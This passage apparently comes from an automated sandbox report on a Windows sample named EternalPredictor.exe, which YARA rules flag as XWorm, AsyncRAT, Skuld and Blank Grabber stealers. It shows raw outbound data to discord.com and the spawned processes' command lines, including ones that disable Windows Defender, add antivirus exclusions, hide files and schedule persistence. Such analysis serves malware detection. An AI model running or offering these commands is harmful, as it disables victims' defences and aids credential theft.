2024-11-17 10:22:00 UTC	16384	OUT	Data Raw: ba 00 ef 8c 27 73 3d 9d 54 6a 84 6f 32 50 8f cb 59 01 f8 7e 8d 83 3f 02 41 9e 26 bf 71 30 22 55 f7 29 e3 ed 1e 1a e7 e3 b3 10 0b a1 11 4f d7 1d d8 85 4e a2 b8 f2 1c 8f da d8 bb 21 96 b2 7e dc 64 81 fc d5 da 72 9a 38 70 95 5b 6d 16 71 a6 c6 36 8a 03 84 7b a4 bb 14 6f aa 75 3b f3 69 70 b1 b5 17 23 74 6a b5 db 42 c4 5d 94 47 1d e7 c9 8d cb d4 66 95 93 28 81 c3 88 74 09 75 9e c6 ee bd 5b 5f a8 4e 1d d5 27 72 ef 61 54 19 8e 42 18 4e f2 7d f0 29 75 0e f1 18 84 ea 9b 4c 70 95 ad 13 30 a5 4c 05 80 98 8b 26 5a 8b 92 3c c7 3a 33 b6 68 53 38 8e 3a b0 00 b1 2d c5 b9 c1 9c 2a c3 12 46 4e 94 64 0b a1 1d 27 14 35 46 28 18 ce 42 ed 1e 9e de 8c a5 ce 92 3c b4 0e de 14 d1 c1 b2 b7 24 cd fa 5a 3d 43 01 6f 3b 1f 70 71 85 c2 89 8d 3a 37 bb e0 32 f9 ec 08 cd 65 19 01 15 6f 6a Data Ascii: 's=Tjo2PY~?A&q0"U)ON!~dr8p[mq6{ou;ip#tjB]Gf(tu[_N'raTBN})uLp0L&Z<:3hS8:-*FNd'5F(B<$Z=Co;pq:72eoj
2024-11-17 10:22:00 UTC	16384	OUT	Data Raw: a0 42 08 22 14 a0 fe c1 01 a8 8e 37 e7 65 9d 9e 4a b3 8b ee 0a 17 11 14 de dd f2 97 a9 7b 57 65 fd 8d 49 cd f9 e7 f9 8c a6 c9 97 75 1f 77 90 8f e7 69 33 dc 94 d2 69 3d db f1 dd fb 51 1b e6 e1 3d 78 94 12 e8 14 42 ac c9 63 24 0a b1 c3 4c 61 cd fc 5d 57 d7 fe 9b f3 90 78 7e dc 65 74 29 48 b6 a3 cb 07 89 f1 69 1a b5 c6 38 96 ce a9 5c f4 af 0d fe 86 d3 48 02 9e 7c 5a 5b 42 a2 be ee f9 91 81 ce cd d9 2f 10 37 94 70 de 73 cb 60 dd b1 c2 46 9c b6 0c ea b6 69 f0 00 a0 44 74 8b d1 c3 f1 32 15 84 1f 45 d2 a4 3b d4 56 7a 81 cb 60 55 bc 86 c0 9b 3d fe 47 40 01 40 7b ae 8d 82 c0 5d 77 46 00 20 fb 61 2c fd a3 cf 17 b0 a1 42 61 16 6a d4 c2 3b 9f 18 b6 62 78 21 da a6 60 a7 0e 02 b2 e4 60 ab 43 c5 24 ae 5a a3 c7 6a 71 88 4d ad 66 0a 34 d2 ee b6 01 3a 77 bb 4b 1e ea 55 db Data Ascii: B"7eJ{WeIuwi3i=Q=xBc$La]Wx~et)Hi8\H\|Z[B/7ps`FiDt2E;Vz`U=G@@{]wF a,Baj;bx!``C$ZjqMf4:wKU
2024-11-17 10:22:00 UTC	16384	OUT	Data Raw: 05 be c6 4f d7 e0 b8 8e f2 5e f3 4c 51 4a 9c c7 42 56 2c 1e 40 cb bc 83 2f 12 b7 a6 ed 09 e5 30 a6 ed b7 fd 50 a3 01 37 3d 87 61 7a 8b b6 2b ef a9 cd 78 cc b9 1a bc 76 61 6c cf 45 d4 2e 9c 70 17 78 27 67 63 96 3f c3 ad ca 46 59 f6 95 4e 0f 46 e9 84 fb 44 5a 11 02 2b 95 44 f0 eb cc 18 6a 5c b6 40 59 aa 37 76 11 68 e2 2e 63 86 d0 61 85 a7 d5 9a fb a9 f6 4e 22 60 2b a1 bb e8 02 c9 11 96 87 0e fd b8 84 39 9b f0 d9 a8 36 5e 02 7c 77 44 8c a9 4d 78 8c af 3b 86 cf 8c 1f 1d 86 31 c0 6a 43 59 03 24 b4 31 07 e0 d9 68 4a 58 e9 86 71 43 20 b4 20 e1 f3 dd 1f 63 09 1b b4 18 4c a9 a9 3b 1f c7 02 45 ec a2 f3 89 a9 28 ae ed 65 81 f5 01 b3 79 6b 89 a1 e6 ff 33 e7 7e b4 4d f0 ab 52 f7 83 c3 5a 50 f2 fb ed 46 74 b1 b0 d1 a1 0c 15 be 30 20 48 98 69 b4 59 d2 6d 5c d7 31 97 bf Data Ascii: O^LQJBV,@/0P7=az+xvalE.px'gc?FYNFDZ+Dj\@Y7vh.caN"`+96^\|wDMx;1jCY$1hJXqC cL;E(eyk3~MRZPFt0 HiYm\1
2024-11-17 10:22:00 UTC	16384	OUT	Data Raw: d4 3f d0 e0 ab f5 9b 19 51 e9 67 6b fc 75 78 c1 b0 8f 73 03 01 d3 a7 22 93 65 8f 6f 5b e4 39 39 19 89 30 e8 4d cd f7 c3 37 28 f5 1c 01 48 4d 46 3d 0c d8 5d 7d b4 af bc 9c 88 34 1c a6 1b 87 04 ee 25 c1 3c a7 21 fc 8b 53 54 81 bc e5 ac 9f bf 93 6a 76 0d bf 90 d8 b3 a2 56 0e 79 5b 9f 0f 03 62 8d 21 f3 4e 64 0f 97 ff 8b ae 4d 65 a4 d2 f2 99 83 93 cb a1 56 38 6a 8f c2 42 1d 03 ec b6 36 c7 c5 e1 7d ae cc 7c 95 57 d5 92 df da 83 85 00 ee ca e1 63 e1 47 bf 62 83 c4 35 de 43 a5 6e 86 09 2c ae dc a2 ad 16 ee 03 f4 c7 0e b9 eb 06 a7 25 97 cb 1c e1 a2 55 cc 98 4e 42 5d f0 98 02 c1 cb f8 f9 4d 46 cc 74 93 94 8a 86 3d 8a 3c a1 23 1e 57 b4 04 26 6b fe 38 29 02 63 7c 35 21 bf a4 4c 46 ad 67 36 14 df 1d b7 2e d2 53 5d b6 e4 2d 35 92 17 4e 96 05 9a 1f 05 83 1a e9 a6 cb 6b Data Ascii: ?Qgkuxs"eo[990M7(HMF=]}4%<!STjvVy[b!NdMeV8jB6}\|WcGb5Cn,%UNB]MFt=<#W&k8)c\|5!LFg6.S]-5Nk
2024-11-17 10:22:00 UTC	16384	OUT	Data Raw: 14 ba b6 bf 62 38 de 4c 7b 8f d3 9a 62 08 20 ef 96 fe f0 e6 cf 98 88 56 e4 af a0 66 65 c0 44 a0 79 a2 0a 28 7f ec 6a 69 be c2 09 d7 18 51 cc 05 23 5b 46 c7 28 11 53 62 ab dd fb 1e 9e 5f ee d3 b8 0e cd 03 79 cc 89 20 d5 4a a3 36 c7 6c 0a 06 f7 dd c6 4f af eb ad b2 7d 4c 07 8a db 2a df c8 1f 2f e4 e7 7a d9 d4 e3 f6 18 ff 97 a5 54 94 a0 80 a1 b3 44 08 e3 e7 75 cf a8 f7 0c ae 35 c5 f9 df 4a c4 5c 82 0b 99 fa 59 1c ba ed ab 44 bc 3c 2d e3 1f 47 c6 22 0c 2f 3e 63 53 b5 7c 14 41 e8 42 97 f4 de 45 38 d5 b4 2a db 75 96 03 fe ee 32 d4 51 3b 24 cb 66 fd 3d 11 30 5d c4 70 06 c2 cd ee 85 8b c4 45 25 56 e2 0c be e9 f9 cd 03 56 11 f3 66 4e 02 d7 f3 4b 55 40 b3 b2 e5 15 75 d9 28 c5 91 f3 67 bd 68 33 0f af 31 ff a5 fb 21 08 00 d7 70 6a 42 4c 90 5e 69 06 b3 b4 b1 45 9f fc Data Ascii: b8L{b VfeDy(jiQ#[F(Sb_y J6lO}L/zTDu5J\YD<-G"/>cS\|ABE8u2Q;$f=0]pE%VVfNKU@u(gh31!pjBL^iE
2024-11-17 10:22:00 UTC	16384	OUT	Data Raw: b3 6b eb 20 25 d9 64 43 9d e0 72 cb a5 e9 23 50 33 c9 5c 3b 79 fb ba 3b 0c 3d 35 32 9e 45 22 6f ab 6a 64 1f c1 70 84 9c 33 b8 a8 d9 b2 52 9a 7e 58 68 e3 ab 7a 8b 83 79 d6 d4 27 3d 5d 31 63 d9 d0 f9 42 b2 c1 d6 54 c6 52 dc 12 ce 7a fb 85 20 f4 6c 13 ae 9b 2b 7b a1 9a 40 7b 1e ec 11 78 bb d4 42 6b f5 7e 4e 34 56 4a da 79 5a 2e a0 70 c3 97 8b 40 d4 d2 4e 53 b7 c2 c0 44 91 e7 e8 98 38 2b f3 ff e9 6b 53 75 85 c1 48 d5 eb 3f ee 3a 87 69 14 49 cf 1e d5 7b d4 7d f7 cd 4d 99 bb b5 19 3b 52 1c fc 96 97 32 ed c4 21 23 13 29 c2 c9 92 14 e8 3f 58 dc f8 f5 20 58 76 c3 46 74 79 26 2f 60 0e c5 ff 2c 98 1c 2b 9c ca 72 88 ab ff c5 1e f0 91 bf e9 21 e9 31 6c 33 c1 65 fe 3d 04 c9 2b f5 5b c9 98 93 62 3d 78 ab e6 40 77 da a0 cc 3c 93 9a 38 81 58 4b a4 ca 24 29 8a f8 7b b2 cb Data Ascii: k %dCr#P3\;y;=52E"ojdp3R~Xhzy'=]1cBTRz l+{@{xBk~N4VJyZ.p@NSD8+kSuH?:iI{}M;R2!#)?X XvFty&/`,+r!1l3e=+[b=x@w<8XK$){
2024-11-17 10:22:00 UTC	16384	OUT	Data Raw: ec 24 31 89 3a 88 43 b1 1b ba b5 c7 81 2f 2d 5f 70 06 62 27 a7 d1 64 14 a3 4c b1 a9 b2 31 be 0a 85 11 5b 45 a0 01 f4 54 33 90 b1 2c d3 ec 5c de 82 04 07 e6 7b 57 3c 88 50 56 c0 61 86 1f 29 58 23 d8 b2 09 8a 74 b0 65 70 14 72 8f e4 4e 9d c8 17 d7 95 1e 18 fb 82 11 44 5b 15 84 94 23 5e 61 94 c4 b8 39 4c 4b 14 6b 18 a4 c3 ad ee 3e 71 02 09 f5 5d 5e e0 2c 16 f2 be 81 f4 e4 9f c6 eb 16 1e 6b 5f 3c 1a 04 5b f4 c7 5e cd 40 b5 47 3d 0c a6 1c 6a e8 ed ee 60 3e 83 38 a1 8f ec 1d 48 f0 51 59 22 3a bc 18 1f ce 53 51 90 08 94 0f 5f 14 d7 89 54 67 02 7f 67 fc 6c a6 91 34 b7 b4 14 63 24 e9 be cd 53 13 6e 84 98 5f e9 53 51 b3 78 a8 e4 26 14 71 07 08 12 28 d4 00 60 b1 3a da 5f 76 10 3a 1e 73 94 82 46 5c e7 42 c1 12 97 08 11 a1 05 f8 44 61 b7 af 5b 58 ac e1 62 fb 0d cd c7 Data Ascii: $1:C/-_pb'dL1[ET3,\{W<PVa)X#teprND[#^a9LKk>q]^,k_<[^@G=j`>8HQY":SQ_Tggl4c$Sn_SQx&q(`:_v:sF\BDa[Xb
2024-11-17 10:22:01 UTC	1253	IN	HTTP/1.1 404 Not Found Date: Sun, 17 Nov 2024 10:22:01 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1731838922 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kAafSwTRG6Fa%2FRJMOc3VGX0BCuXUtuULCwhFeDvjsJPZAKtziv3qP5ItX77L8Jqhu6pfvcjLVPS5rCQSNjrBh6haKFe%2BMITwUEfsxI6na0mnEuRFO4eXHDTPXwff"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=daade001e76c5346a9107562c463e493fd63bfc9-1731838921; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=ycNd0d26ksQwnFyG4f9aiNkPKG6_UonCz4_PyaZrPZI-1731838921537-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8e3eff479fd14623-DFW

Target ID:	0
Start time:	05:21:10
Start date:	17/11/2024
Path:	C:\Users\user\Desktop\EternalPredictor.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\EternalPredictor.exe"
Imagebase:	0x7f0000
File size:	18'412'032 bytes
MD5 hash:	7D207C243B33D6F3D78ACADFFD95AE0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.1521249404.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.1521249404.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:21:17
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Roaming\eternal.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\eternal.exe"
Imagebase:	0xbc0000
File size:	71'168 bytes
MD5 hash:	7439CC991A9A756C41153B8E9121BAAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000000.1499082225.0000000000BC2000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000002.00000000.1499082225.0000000000BC2000.00000002.00000001.01000000.00000006.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\eternal.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\eternal.exe, Author: ditekSHen
Antivirus matches:	Detection: 74%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:21:17
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Roaming\skuld.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\skuld.exe"
Imagebase:	0xcf0000
File size:	10'375'680 bytes
MD5 hash:	DBBD2127D1030E4C9548FDF7DE9983A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_SkuldStealer, Description: Yara detected Skuld Stealer, Source: 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000000.1505357195.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_SkuldStealer, Description: Yara detected Skuld Stealer, Source: 00000003.00000000.1505357195.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Roaming\skuld.exe, Author: Joe Security Rule: JoeSecurity_SkuldStealer, Description: Yara detected Skuld Stealer, Source: C:\Users\user\AppData\Roaming\skuld.exe, Author: Joe Security
Antivirus matches:	Detection: 63%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:21:18
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:21:18
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Roaming\program.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\program.exe"
Imagebase:	0x7ff72c650000
File size:	7'954'796 bytes
MD5 hash:	3E6865657B29FAEA3A355C710F0AAD45
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000005.00000003.1524758278.00000139887E3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000005.00000003.1524758278.00000139887E5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:21:19
Start date:	17/11/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +h +s C:\Users\user\AppData\Roaming\skuld.exe
Imagebase:	0x7ff7cb090000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:21:19
Start date:	17/11/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +h +s C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
Imagebase:	0x7ff7cb090000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:21:20
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Roaming\program.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\program.exe"
Imagebase:	0x7ff72c650000
File size:	7'954'796 bytes
MD5 hash:	3E6865657B29FAEA3A355C710F0AAD45
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000008.00000003.1934849918.00000237A5ED6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000008.00000002.1938588123.00000237A4503000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:21:20
Start date:	17/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get UUID
Imagebase:	0x7ff781d20000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:21:22
Start date:	17/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\user\AppData\Roaming\XClient.exe"
Imagebase:	0x7ff770490000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	05:21:22
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	05:21:23
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\program.exe'"
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:21:23
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:21:23
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	05:21:23
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	05:21:23
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'"
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	05:21:23
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	05:21:23
Start date:	17/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\program.exe'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:21:23
Start date:	17/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:21:23
Start date:	17/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:21:24
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Roaming\XClient.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\XClient.exe
Imagebase:	0xc00000
File size:	71'168 bytes
MD5 hash:	7439CC991A9A756C41153B8E9121BAAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\XClient.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\XClient.exe, Author: ditekSHen
Antivirus matches:	Detection: 74%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	05:21:25
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	05:21:25
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7252, Parent PID: 7184

General

Target ID:	25
Start time:	05:21:25
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	05:21:25
Start date:	17/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff7cb010000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	05:21:25
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	05:21:25
Start date:	17/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff7cb010000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	05:21:26
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	05:21:26
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	05:21:26
Start date:	17/11/2024
